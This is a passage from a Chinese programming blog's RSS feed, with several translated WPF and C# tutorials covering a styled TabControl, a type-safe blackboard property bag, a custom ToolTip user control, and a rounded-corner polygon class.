    &amp;lt;TabControl Name=&#34;tabSteps&#34; Template=&#34;{StaticResource OfficeTabControl}&#34;&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;在这之前，先把资源字典加到窗体的Reesouce里。然后再设置。然后运行软件。效果会有一些不一样。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28187_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2ba7dae0ace3d2aba71967d816315b1b953d139b.png&#34; title=&#34;3&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后要修改左侧单个标签的显示效果。通过改变模板来实现。给模板添加如下的代码&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;ControlTemplate x:Key=&#34;OfficeTabControl&#34; TargetType=&#34;{x:Type TabControl}&#34;&amp;gt;

    &amp;lt;ControlTemplate.Resources&amp;gt;

        &amp;lt;Style TargetType=&#34;{x:Type TabItem}&#34;&amp;gt;

            &amp;lt;Setter Property=&#34;Template&#34;&amp;gt;

                &amp;lt;Setter.Value&amp;gt;

                    &amp;lt;ControlTemplate TargetType=&#34;{x:Type TabItem}&#34;&amp;gt;

                        &amp;lt;Grid SnapsToDevicePixels=&#34;True&#34;&amp;gt;

                            &amp;lt;ContentPresenter

                                Name=&#34;buttonText&#34;

                                Margin=&#34;15,0,5,0&#34;

                                TextBlock.FontFamily=&#34;Calibri&#34;

                                TextBlock.FontSize=&#34;12pt&#34;

                                TextBlock.Foreground=&#34;Black&#34;

                                Content=&#34;{TemplateBinding Header}&#34;

                                VerticalAlignment=&#34;Center&#34;/&amp;gt;

                        &amp;lt;/Grid&amp;gt;

                    &amp;lt;/ControlTemplate&amp;gt;

                &amp;lt;/Setter.Value&amp;gt;

            &amp;lt;/Setter&amp;gt;

        &amp;lt;/Style&amp;gt;

    &amp;lt;/ControlTemplate.Resources&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;然后再运行&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28188_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ded32740b808794d30171ba7b82b5b1c6c89a6c3.png&#34; title=&#34;4&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;VisualState很有意思。我们可以放在Grid里。然后设置正常状态和鼠标悬停的状态。&lt;/p&gt;
&lt;p&gt;为了添加鼠标悬停效果，我们添加两个Borders元素。一个右边缘是灰线，另一个用在背景上。亮蓝色放在上下边缘&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Border Name=&#34;hoverShape&#34;

        Height=&#34;40&#34;

        Margin=&#34;0,0,1,0&#34;

        SnapsToDevicePixels=&#34;True&#34;

        BorderThickness=&#34;0,0,1,0&#34;

        BorderBrush=&#34;LightGray&#34;&amp;gt;

    &amp;lt;Border BorderBrush=&#34;#FFA1B7EA&#34;

            BorderThickness=&#34;0,1&#34;

            Background=&#34;#FFE5EEF9&#34;

            Height=&#34;40&#34;

            SnapsToDevicePixels=&#34;True&#34; /&amp;gt;

&amp;lt;/Border&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;之后，我们为VisualState创建故事板，一个是正常状态。会使得hoverShape的透明度为0.另一个是鼠标悬停的状态。透明度会变成1&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Grid SnapsToDevicePixels=&#34;True&#34;&amp;gt;

    &amp;lt;VisualStateManager.VisualStateGroups&amp;gt;

        &amp;lt;VisualStateGroup Name=&#34;CommonStates&#34;&amp;gt;

            &amp;lt;VisualState Name=&#34;MouseOver&#34;&amp;gt;

                &amp;lt;Storyboard&amp;gt;

                    &amp;lt;DoubleAnimation

                        Storyboard.TargetName=&#34;hoverShape&#34;

                        Storyboard.TargetProperty=&#34;Opacity&#34;

                        To=&#34;1&#34;

                        Duration=&#34;0:0:.1&#34;/&amp;gt;

                &amp;lt;/Storyboard&amp;gt;

            &amp;lt;/VisualState&amp;gt;

            &amp;lt;VisualState Name=&#34;Normal&#34;&amp;gt;

                &amp;lt;Storyboard&amp;gt;

                    &amp;lt;DoubleAnimation

                        Storyboard.TargetName=&#34;hoverShape&#34;

                        Storyboard.TargetProperty=&#34;Opacity&#34;

                        To=&#34;0&#34;

                        Duration=&#34;0:0:.1&#34;/&amp;gt;

                &amp;lt;/Storyboard&amp;gt;

            &amp;lt;/VisualState&amp;gt;

        &amp;lt;/VisualStateGroup&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;之后效果如下&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28193_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/c3260420be7f836a117fde4fbf6f35cc91728bc9.png&#34; title=&#34;5&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>类型安全的黑板模式（属性包）</title>
      <link>http://blog.leaver.me/2012/10/16/%E7%B1%BB%E5%9E%8B%E5%AE%89%E5%85%A8%E7%9A%84%E9%BB%91%E6%9D%BF%E6%A8%A1%E5%BC%8F%E5%B1%9E%E6%80%A7%E5%8C%85/</link>
      <pubDate>Tue, 16 Oct 2012 12:12:06 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/16/%E7%B1%BB%E5%9E%8B%E5%AE%89%E5%85%A8%E7%9A%84%E9%BB%91%E6%9D%BF%E6%A8%A1%E5%BC%8F%E5%B1%9E%E6%80%A7%E5%8C%85/</guid>
      <description>&lt;p&gt;有时候对于对象来说。在一个软件中，不直接通过互相引用而做到共享信息是非常有用的。比如像带有插件的软件。可以互相进行通信。假设我们有了很多对象。其中一些包含一些数据。而另一些对象需要消费这些数据 不同的子集，我们不通过对数据生产者和消费者的直接引用来实现，而是通过更低耦合的方式。叫做创建一个“BlackBoard”（黑板）对象。该对象允许其他对象自由对其进行读取/写入数据。这种解耦方式使得消费者不知道也不必知道数据来自哪里。如果想要了解更多关于黑板模式的信息。我们常说的。Google是你最好的朋友。&lt;/p&gt;
&lt;p&gt;一个最简单的黑板对象应该是 Dictionary一些简单的命名值的字典。所有的对象共享同一个字典引用。使得他们可以交换这些命名数据。这种方法有两个问题。一个是名字。一个是类型安全—数据生产者和消费者对每一个数据值都必须共享一个字符串标识。消费者也没有对字典中的值进行编译时的类型检查，比如，可能期望一个小数，结果运行时读到了字符串。本文对这两个问题演示了一种解决方案。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;最近我在开发一个通用任务的异步执行的引擎。我的通用任务通常有Do/Undo方法。原则上是相互独立的，但是有一些任务需要从已经执行的任务重请求数据。比如。一个任务可以
为一个硬件设备建立一个API，随后的任务就可以使用创建好的API来操作硬件设备。但是。我不想我的执行引擎知道关于这个执行任务的任何信息。而且。我也不想直接手工的就在一个任务里引用另一个任务。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;黑板类&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;黑板类本质上是一个Dictionary的包装类，对外暴露Get和Set方法。黑板类允许其他对象存储并且取回数据。但是要求这些数据使用一个
BlackboardProperty 类型的标识符来表示这些数据是可存取的。BlackboardProperty 对象应该在那些准备读写黑板类的对象之间共享，因此，他应该在那些类中作为一个静态成员。（很像WPF的依赖属性。是他们所属控件的静态成员）&lt;/p&gt;
&lt;p&gt;注意：命名安全应该可以通过同样的方式实现。但是但是依然没有解决类型安全的问题。那么。到了主要的部分了。那就是黑板类的代码了&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public class Blackboard : INotifyPropertyChanged, INotifyPropertyChanging
{
    Dictionary&amp;lt;string, object&amp;gt; _dict = new Dictionary&amp;lt;string, object&amp;gt;();

    public T Get&amp;lt;T&amp;gt;(BlackboardProperty&amp;lt;T&amp;gt; property)
    {
        if (!_dict.ContainsKey(property.Name))
            _dict[property.Name] = property.GetDefault();
        return (T)_dict[property.Name];
    }

    public void Set&amp;lt;T&amp;gt;(BlackboardProperty&amp;lt;T&amp;gt; property, T value)
    {
        OnPropertyChanging(property.Name);
        _dict[property.Name] = value;
        OnPropertyChanged(property.Name);
    }

    #region property change notification

    public event PropertyChangingEventHandler PropertyChanging;

    public event PropertyChangedEventHandler PropertyChanged;

    protected virtual void OnPropertyChanging(string propertyName)
    {
        if (PropertyChanging != null)
            PropertyChanging(this, new PropertyChangingEventArgs(propertyName));
    }

    protected virtual void OnPropertyChanged(string propertyName)
    {
        if (PropertyChanged != null)
            PropertyChanged(this, new PropertyChangedEventArgs(propertyName));
    }
    #endregion
}&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;黑板属性（BlackBoardProperty）类&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;BlackBoardProperty 类 提供了一个标识符来存取黑板对象中的数据。定义了名称和值的类型。也定义了一个默认的返回值。以防黑板类中对应属性没有值。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;/// &amp;lt;summary&amp;gt;
/// 对应黑板类中的属性的强类型标识符
/// &amp;lt;/summary&amp;gt;
/// &amp;lt;typeparam name=&#34;T&#34;&amp;gt;该类能识别的属性值的类型&amp;lt;/typeparam&amp;gt;
public class BlackboardProperty&amp;lt;T&amp;gt;
{
    /// &amp;lt;summary&amp;gt;
    /// 属性的名称
    /// &amp;lt;remarks&amp;gt;
    /// 黑板类的属性通过名称来存储。请注意不要让相同的名字有不同的属性值。因为如果被用在同样的黑板类上。他们会互相覆盖值
    /// &amp;lt;/remarks&amp;gt;
    /// &amp;lt;/summary&amp;gt;
    public string Name { get; set; }

//当黑板对象没有包含对应属性的时候。该工厂方法被用来提供一个默认的值
    //    
Func&amp;lt;T&amp;gt; _createDefaultValueFunc;

    public BlackboardProperty(string name)
        : this(name, default(T))
    {
    }

    /// &amp;lt;summary&amp;gt;
    /// 
    /// &amp;lt;/summary&amp;gt;
    /// &amp;lt;param name=&#34;name&#34;&amp;gt;&amp;lt;/param&amp;gt;
    /// &amp;lt;param name=&#34;defaultValue&#34;&amp;gt;
    /// 当黑板类不包括该属性的时候。该值会被返回。
    /// &amp;lt;remarks&amp;gt;
    /// 如果缺省的值是一个常量或是一个值类型的时候，使用该构造方法。
    /// &amp;lt;/remarks&amp;gt;
    /// &amp;lt;/param&amp;gt;
    public BlackboardProperty(string name, T defaultValue)
    {
        Name = name;
        _createDefaultValueFunc = () =&amp;gt; defaultValue;
    }

    /// &amp;lt;summary&amp;gt;
    /// &amp;lt;/summary&amp;gt;
    /// &amp;lt;remarks&amp;gt;
/// 如果缺省值是一个引用类型，并且，你不想要共享该实例给多个黑板对象的时候。请使用该
/// 构造函数
    /// &amp;lt;/remarks&amp;gt;
    /// &amp;lt;param name=&#34;name&#34;&amp;gt;&amp;lt;/param&amp;gt;
    /// &amp;lt;param name=&#34;createDefaultValueFunc&#34;&amp;gt;&amp;lt;/param&amp;gt;
    public BlackboardProperty(string name, Func&amp;lt;T&amp;gt; createDefaultValueFunc)
    {
        Name = name;
        _createDefaultValueFunc = createDefaultValueFunc;
    }

    public BlackboardProperty()
    {
        Name = Guid.NewGuid().ToString();
    }

    public T GetDefault()
    {
        return _createDefaultValueFunc();
    }
}&lt;/pre&gt;
&lt;p&gt;我承认不是非常有用的代码。但是。能够模拟两个类的使用。
下一个例子会更和现实情况接近。但是肯定是被简化过了的。在下面的例子里。我定义了集中不同的任务。我用这些任务来启动对硬件设备的连接。操作设备。关闭连接。这些任务通过一个执行引擎依次执行，这些任务通过一个公用的黑板类来共享数据。至于这个任务类的和执行引擎（ExecutionEngine）类还是留到另一篇文章中把。&lt;/p&gt;</description>
    </item>
    <item>
      <title>如何创建WPF用户控件&amp;在WPF项目中使用</title>
      <link>http://blog.leaver.me/2012/10/14/%E5%A6%82%E4%BD%95%E5%88%9B%E5%BB%BAwpf%E7%94%A8%E6%88%B7%E6%8E%A7%E4%BB%B6%E5%9C%A8wpf%E9%A1%B9%E7%9B%AE%E4%B8%AD%E4%BD%BF%E7%94%A8/</link>
      <pubDate>Sun, 14 Oct 2012 15:19:24 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/14/%E5%A6%82%E4%BD%95%E5%88%9B%E5%BB%BAwpf%E7%94%A8%E6%88%B7%E6%8E%A7%E4%BB%B6%E5%9C%A8wpf%E9%A1%B9%E7%9B%AE%E4%B8%AD%E4%BD%BF%E7%94%A8/</guid>
      <description>&lt;p&gt;作者给的Demo我合并了下。VS2010直接打开解决方案。二者都有。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28121_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/82f9a2b2665cf35702e252f3518a2f420361da11.png&#34; title=&#34;00&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;
本文展示在WPF中如何创建用户控件并且如果在WPF项目中使用。我将使用VS2008和C#来展示如何创建一个自定义的ToolTip&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这篇由&lt;a href=&#34;http://www.codeproject.com/KB/WPF/WPF_CustomerControl.aspx&#34;&gt;Sacha Barber&lt;/a&gt;.写的和我的有点像。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用代码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;开始。首先，我们创建一个用户控件。因此，我们选择新建WPF用户控件类库（WPF User Control Library）。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28122_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/920a78558c2e8a260f9fd448739f68cd80e37108.png&#34; title=&#34;01&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;现在。我们可以创建或者编辑XAML代码来创建自定义的用户控件了。我使用XAML来创建自定义的ToolTip。你想做什么随你。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;UserControl 
    Name=&#34;UserControlToolTip&#34;
    x:Class=&#34;CustomToolTip.UserControl1&#34;
    xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;
    xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;
    xmlns:d=&#34;http://schemas.microsoft.com/expression/blend/2008&#34; 
    xmlns:mc=&#34;http://schemas.openxmlformats.org/markup-compatibility/2006&#34; 
    mc:Ignorable=&#34;d&#34; RenderTransformOrigin=&#34;0,0&#34; HorizontalAlignment=&#34;Left&#34; 
	VerticalAlignment=&#34;Top&#34; &amp;gt;

    &amp;lt;UserControl.RenderTransform&amp;gt;
        &amp;lt;TransformGroup&amp;gt;
            &amp;lt;ScaleTransform ScaleX=&#34;1&#34; ScaleY=&#34;1&#34;/&amp;gt;
            &amp;lt;SkewTransform AngleX=&#34;0&#34; AngleY=&#34;0&#34;/&amp;gt;
            &amp;lt;RotateTransform Angle=&#34;0&#34;/&amp;gt;
            &amp;lt;TranslateTransform x:Name=&#34;UserControlToolTipXY&#34; X=&#34;0&#34; Y=&#34;0&#34;/&amp;gt;
        &amp;lt;/TransformGroup&amp;gt;
    &amp;lt;/UserControl.RenderTransform&amp;gt;

    &amp;lt;Grid HorizontalAlignment=&#34;Center&#34; VerticalAlignment=&#34;Center&#34; 
	MinWidth=&#34;200&#34; MinHeight=&#34;120&#34;&amp;gt;
    	&amp;lt;Grid.RowDefinitions&amp;gt;
    		&amp;lt;RowDefinition Height=&#34;0.333*&#34;/&amp;gt;
    		&amp;lt;RowDefinition Height=&#34;0.667*&#34;/&amp;gt;
    	&amp;lt;/Grid.RowDefinitions&amp;gt;
        &amp;lt;Rectangle Fill=&#34;#FFFBFBFB&#34; Stroke=&#34;#FF000000&#34; RadiusX=&#34;10&#34; RadiusY=&#34;10&#34;
        	 RenderTransformOrigin=&#34;0.139,0.012&#34; StrokeThickness=&#34;1&#34; Grid.RowSpan=&#34;2&#34;&amp;gt;
            &amp;lt;Rectangle.BitmapEffect&amp;gt;
                &amp;lt;DropShadowBitmapEffect Opacity=&#34;0.8&#34;/&amp;gt;
            &amp;lt;/Rectangle.BitmapEffect&amp;gt;
        &amp;lt;/Rectangle&amp;gt;
        &amp;lt;Rectangle RadiusX=&#34;10&#34; RadiusY=&#34;10&#34; RenderTransformOrigin=&#34;0.139,0.012&#34; 
        	StrokeThickness=&#34;10&#34; Stroke=&#34;{x:Null}&#34; 
	Margin=&#34;1,1,1,1&#34; Grid.Row=&#34;0&#34; Grid.RowSpan=&#34;2&#34;&amp;gt;
        	&amp;lt;Rectangle.Fill&amp;gt;
        		&amp;lt;LinearGradientBrush EndPoint=&#34;0.5,1&#34; StartPoint=&#34;0.5,0.725&#34;&amp;gt;
        			&amp;lt;GradientStop Color=&#34;#00E6D9AA&#34; Offset=&#34;0.487&#34;/&amp;gt;
        			&amp;lt;GradientStop Color=&#34;#FFE6D9AA&#34; Offset=&#34;0.996&#34;/&amp;gt;
        		&amp;lt;/LinearGradientBrush&amp;gt;
        	&amp;lt;/Rectangle.Fill&amp;gt;
        &amp;lt;/Rectangle&amp;gt;
        &amp;lt;Rectangle RadiusX=&#34;10&#34; RadiusY=&#34;10&#34; RenderTransformOrigin=&#34;0.493,0.485&#34; 
        	StrokeThickness=&#34;10&#34; Stroke=&#34;{x:Null}&#34; Grid.RowSpan=&#34;2&#34; Margin=&#34;1,1,1,1&#34;&amp;gt;
        	&amp;lt;Rectangle.Fill&amp;gt;
        		&amp;lt;LinearGradientBrush EndPoint=&#34;0.014,0.5&#34; StartPoint=&#34;0.211,0.5&#34;&amp;gt;
        			&amp;lt;GradientStop Color=&#34;#00E6D9AA&#34; Offset=&#34;0.513&#34;/&amp;gt;
        			&amp;lt;GradientStop Color=&#34;#FFE6D9AA&#34; Offset=&#34;0.996&#34;/&amp;gt;
        		&amp;lt;/LinearGradientBrush&amp;gt;
        	&amp;lt;/Rectangle.Fill&amp;gt;
        &amp;lt;/Rectangle&amp;gt;
        &amp;lt;Rectangle RadiusX=&#34;10&#34; RadiusY=&#34;10&#34; RenderTransformOrigin=&#34;0.493,0.485&#34; 
        	StrokeThickness=&#34;10&#34; Stroke=&#34;{x:Null}&#34; Grid.RowSpan=&#34;2&#34; Margin=&#34;1,1,1,1&#34;&amp;gt;
        	&amp;lt;Rectangle.Fill&amp;gt;
        		&amp;lt;LinearGradientBrush EndPoint=&#34;0.493,0.002&#34; StartPoint=&#34;0.493,0.33&#34;&amp;gt;
        			&amp;lt;GradientStop Color=&#34;#00E6D9AA&#34; Offset=&#34;0.513&#34;/&amp;gt;
        			&amp;lt;GradientStop Color=&#34;#FFE6D9AA&#34; Offset=&#34;0.996&#34;/&amp;gt;
        		&amp;lt;/LinearGradientBrush&amp;gt;
        	&amp;lt;/Rectangle.Fill&amp;gt;
        &amp;lt;/Rectangle&amp;gt;
        &amp;lt;Rectangle RadiusX=&#34;10&#34; RadiusY=&#34;10&#34; RenderTransformOrigin=&#34;0.493,0.485&#34; 
        	StrokeThickness=&#34;10&#34; Stroke=&#34;{x:Null}&#34; Grid.RowSpan=&#34;2&#34; Margin=&#34;1,1,1,1&#34;&amp;gt;
        	&amp;lt;Rectangle.Fill&amp;gt;
        		&amp;lt;LinearGradientBrush EndPoint=&#34;0.99,0.441&#34; StartPoint=&#34;0.794,0.441&#34;&amp;gt;
        			&amp;lt;GradientStop Color=&#34;#00E6D9AA&#34; Offset=&#34;0.513&#34;/&amp;gt;
        			&amp;lt;GradientStop Color=&#34;#FFE6D9AA&#34; Offset=&#34;0.996&#34;/&amp;gt;
        		&amp;lt;/LinearGradientBrush&amp;gt;
        	&amp;lt;/Rectangle.Fill&amp;gt;
        &amp;lt;/Rectangle&amp;gt;
        &amp;lt;TextBlock Text=&#34;TextBlock&#34; TextWrapping=&#34;Wrap&#34; x:Name=&#34;TextBlockToolTip&#34; 
        	RenderTransformOrigin=&#34;0.5,0.5&#34; Grid.Row=&#34;1&#34; HorizontalAlignment=&#34;Left&#34; 
            	VerticalAlignment=&#34;Center&#34; Margin=&#34;20,0,0,20&#34; /&amp;gt;
        &amp;lt;TextBlock Name=&#34;ToolTipTitle&#34; HorizontalAlignment=&#34;Stretch&#34; Margin=&#34;15,16,15,6.1&#34; 
        	FontSize=&#34;14&#34; Text=&#34;title&#34; d:LayoutOverrides=&#34;Height&#34; /&amp;gt;
    &amp;lt;/Grid&amp;gt;
&amp;lt;/UserControl&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;同时。我们需要添加一些方法和属性来控制这些元素。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;namespace CustomToolTip
{
    public partial class UserControl1 : UserControl
    {
        public UserControl1()
        {
            InitializeComponent();
        }

        public double UserControlToolTipX
        {
            get { return this.UserControlToolTipXY.X; }
            set { this.UserControlToolTipXY.X = value; }
        }

        public double UserControlToolTipY
        {
            get { return this.UserControlToolTipXY.Y; }
            set { this.UserControlToolTipXY.Y = value; }
        }

        public string UserControlTextBlockToolTip
        {
            get { return TextBlockToolTip.Text; }
            set { TextBlockToolTip.Text = value; }
        }

        public string UserControlToolTipTitle
        {
            get { return ToolTipTitle.Text; }
            set { ToolTipTitle.Text = value; }
        }
    }
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>WPF绘制圆角多边形</title>
      <link>http://blog.leaver.me/2012/10/13/wpf%E7%BB%98%E5%88%B6%E5%9C%86%E8%A7%92%E5%A4%9A%E8%BE%B9%E5%BD%A2/</link>
      <pubDate>Sat, 13 Oct 2012 09:45:40 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/13/wpf%E7%BB%98%E5%88%B6%E5%9C%86%E8%A7%92%E5%A4%9A%E8%BE%B9%E5%BD%A2/</guid>
      <description>&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;最近，我发现我需要个圆角多边形。而且是需要在运行时从用户界面来绘制。WPF有多边形。但是不支持圆角。我搜索了一下。也没找到可行的现成例子。于是就自己做吧。本文描述了圆角多边形的实现，也包括如何用在你的项目里。在Demo里面的RoundedCornersPolygon 类是完整的实现。&lt;/p&gt;
&lt;p&gt;下载的Demo包括两部分&lt;/p&gt;
&lt;p&gt;1. 通过XAML绘制圆角多边形&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28036_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/83dd3b37c81d0d4e1a82e80ba69d00411930ce52.png&#34; title=&#34;1&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;2. 运行时创建圆角多边形&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28037_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/864fccf9677ea6ce52dad56c85cf7389108c6874.png&#34; title=&#34;2&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;
多边形可以被认为是沿着一个给定半径的圆的边缘和一些指定点/边。所构成的点的集合。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28038_o.gif&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/82969618833250386b07a5177dc8c454da0530e1.gif&#34; title=&#34;3&#34;&gt;&lt;/a&gt;
在WPF中。你可以给Polygon对象的Points属性添加一系列的点来制作多边形。&lt;/p&gt;
&lt;p&gt;XAML方式&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Canvas&amp;gt;
    &amp;lt;Polygon Points=&#34;10,50 180,50 180,150 10,150&#34; 
       StrokeThickness=&#34;1&#34; Stroke=&#34;Black&#34; /&amp;gt;
&amp;lt;/Canvas&amp;gt;&lt;/pre&gt;
&lt;p&gt;C#方式&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;var cnv = new Canvas(); 
var polygon = new Polygon {StrokeThickness = 1, Fill = Brushes.Black};
polygon.Points.Add(new Point(10, 50)); 
polygon.Points.Add(new Point(180, 50));
polygon.Points.Add(new Point(180, 150));
polygon.Points.Add(new Point(10, 150));
cnv.Children.Add(polygon);
this.Content = cnv;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;上面两个例子会输出下面的矩形&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28039_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/787268128d45598cff769b9209e41652a66775ae.png&#34; title=&#34;4&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用代码&lt;/strong&gt;
我写的RoundedCornersPolygon 类和普通的多边形类很相似。但是有更多的属性来控制圆角。首先。看一个例子。展示一下圆角矩形类的使用&lt;/p&gt;
&lt;p&gt;XAML方式&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Canvas&amp;gt;
    &amp;lt;CustomRoundedCornersPolygon:RoundedCornersPolygon Points=&#34;10,50 180,50 180,150 10,150&#34; 
               StrokeThickness=&#34;1&#34; Stroke=&#34;Black&#34; ArcRoundness=&#34;25&#34; 
               UseAnglePercentage=&#34;False&#34; IsClosed=&#34;True&#34;/&amp;gt;
&amp;lt;Canvas&amp;gt;&lt;/pre&gt;
&lt;p&gt;C#方式&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;var cnv = new Canvas();  
var roundedPolygon = new RoundedCornersPolygon
{
    Stroke = Brushes.Black, StrokeThickness = 1, 
    ArcRoundness = 25, UseAnglePercentage = false, IsClosed = true
};
roundedPolygon.Points.Add(new Point(10, 50));
roundedPolygon.Points.Add(new Point(180, 50));
roundedPolygon.Points.Add(new Point(180, 150));
roundedPolygon.Points.Add(new Point(10, 150));
cnv.Children.Add(roundedPolygon);
this.Content = cnv;&lt;/pre&gt;
&lt;p&gt;输出如下：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28040_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/fb11bced67d29f74ff4e539a8008871934d74c04.png&#34; title=&#34;5&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;多边形有四个主要属性
ArcRoundness 属性指定了从距离LineSegment终点多远的距离开始弯曲，通常和UseRoundnessPercentage 一起使用。UseRoundnessPercentage属性指定了ArcRoundness 值是百分比还是一个固定的值。&lt;/p&gt;
&lt;p&gt;举个例子。ArcRoundness 被设置成10，而且UseRoundnessPercentage 被设置成false，那么弯曲将会在距离线段终点10的地方开始。而如果UseRoundnessPercentage 被设置成ture。则会是从线段终点10%的地方开始弯曲。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;/// &amp;lt;summary&amp;gt; 
/// Gets or sets a value that specifies the arc roundness.
/// &amp;lt;/summary&amp;gt;
public double ArcRoundness { get; set; }

/// &amp;lt;summary&amp;gt;  
/// Gets or sets a value that specifies if the ArcRoundness property
/// value will be used as a percentage of the connecting segment or not.
/// &amp;lt;/summary&amp;gt;
public bool UseRoundnessPercentage { get; set; }&lt;/pre&gt;
&lt;p&gt;IsClosed 指定多边形的最后一个点是否和第一个点闭合。为了成为一个多边形。一般应该被设置为true&lt;/p&gt;</description>
    </item>
    <item>
      <title>一步步教你制作WPF圆形玻璃按钮</title>
      <link>http://blog.leaver.me/2012/10/12/%E4%B8%80%E6%AD%A5%E6%AD%A5%E6%95%99%E4%BD%A0%E5%88%B6%E4%BD%9Cwpf%E5%9C%86%E5%BD%A2%E7%8E%BB%E7%92%83%E6%8C%89%E9%92%AE/</link>
      <pubDate>Fri, 12 Oct 2012 09:31:00 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/12/%E4%B8%80%E6%AD%A5%E6%AD%A5%E6%95%99%E4%BD%A0%E5%88%B6%E4%BD%9Cwpf%E5%9C%86%E5%BD%A2%E7%8E%BB%E7%92%83%E6%8C%89%E9%92%AE/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28015_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/491dd2dbc974b8c78aee2f36006e65ad3e5533f2.jpg&#34; title=&#34;1&#34;&gt;&lt;/a&gt;
&lt;strong&gt;1.介绍&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;从我开始使用vista的时候，我就非常喜欢它的圆形玻璃按钮。WPF最好的一个方面就是允许自定义任何控件的样式。用了一段时间的Microsoft Expression Blend后。我做出了这个样式。我觉得做的还行。因为。我决定分享。如我所说。我使用Microsoft Expression Blend来做。但是。我也是用XAML编辑器&amp;ndash;Kaxaml。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.概述&lt;/strong&gt;&lt;/p&gt;
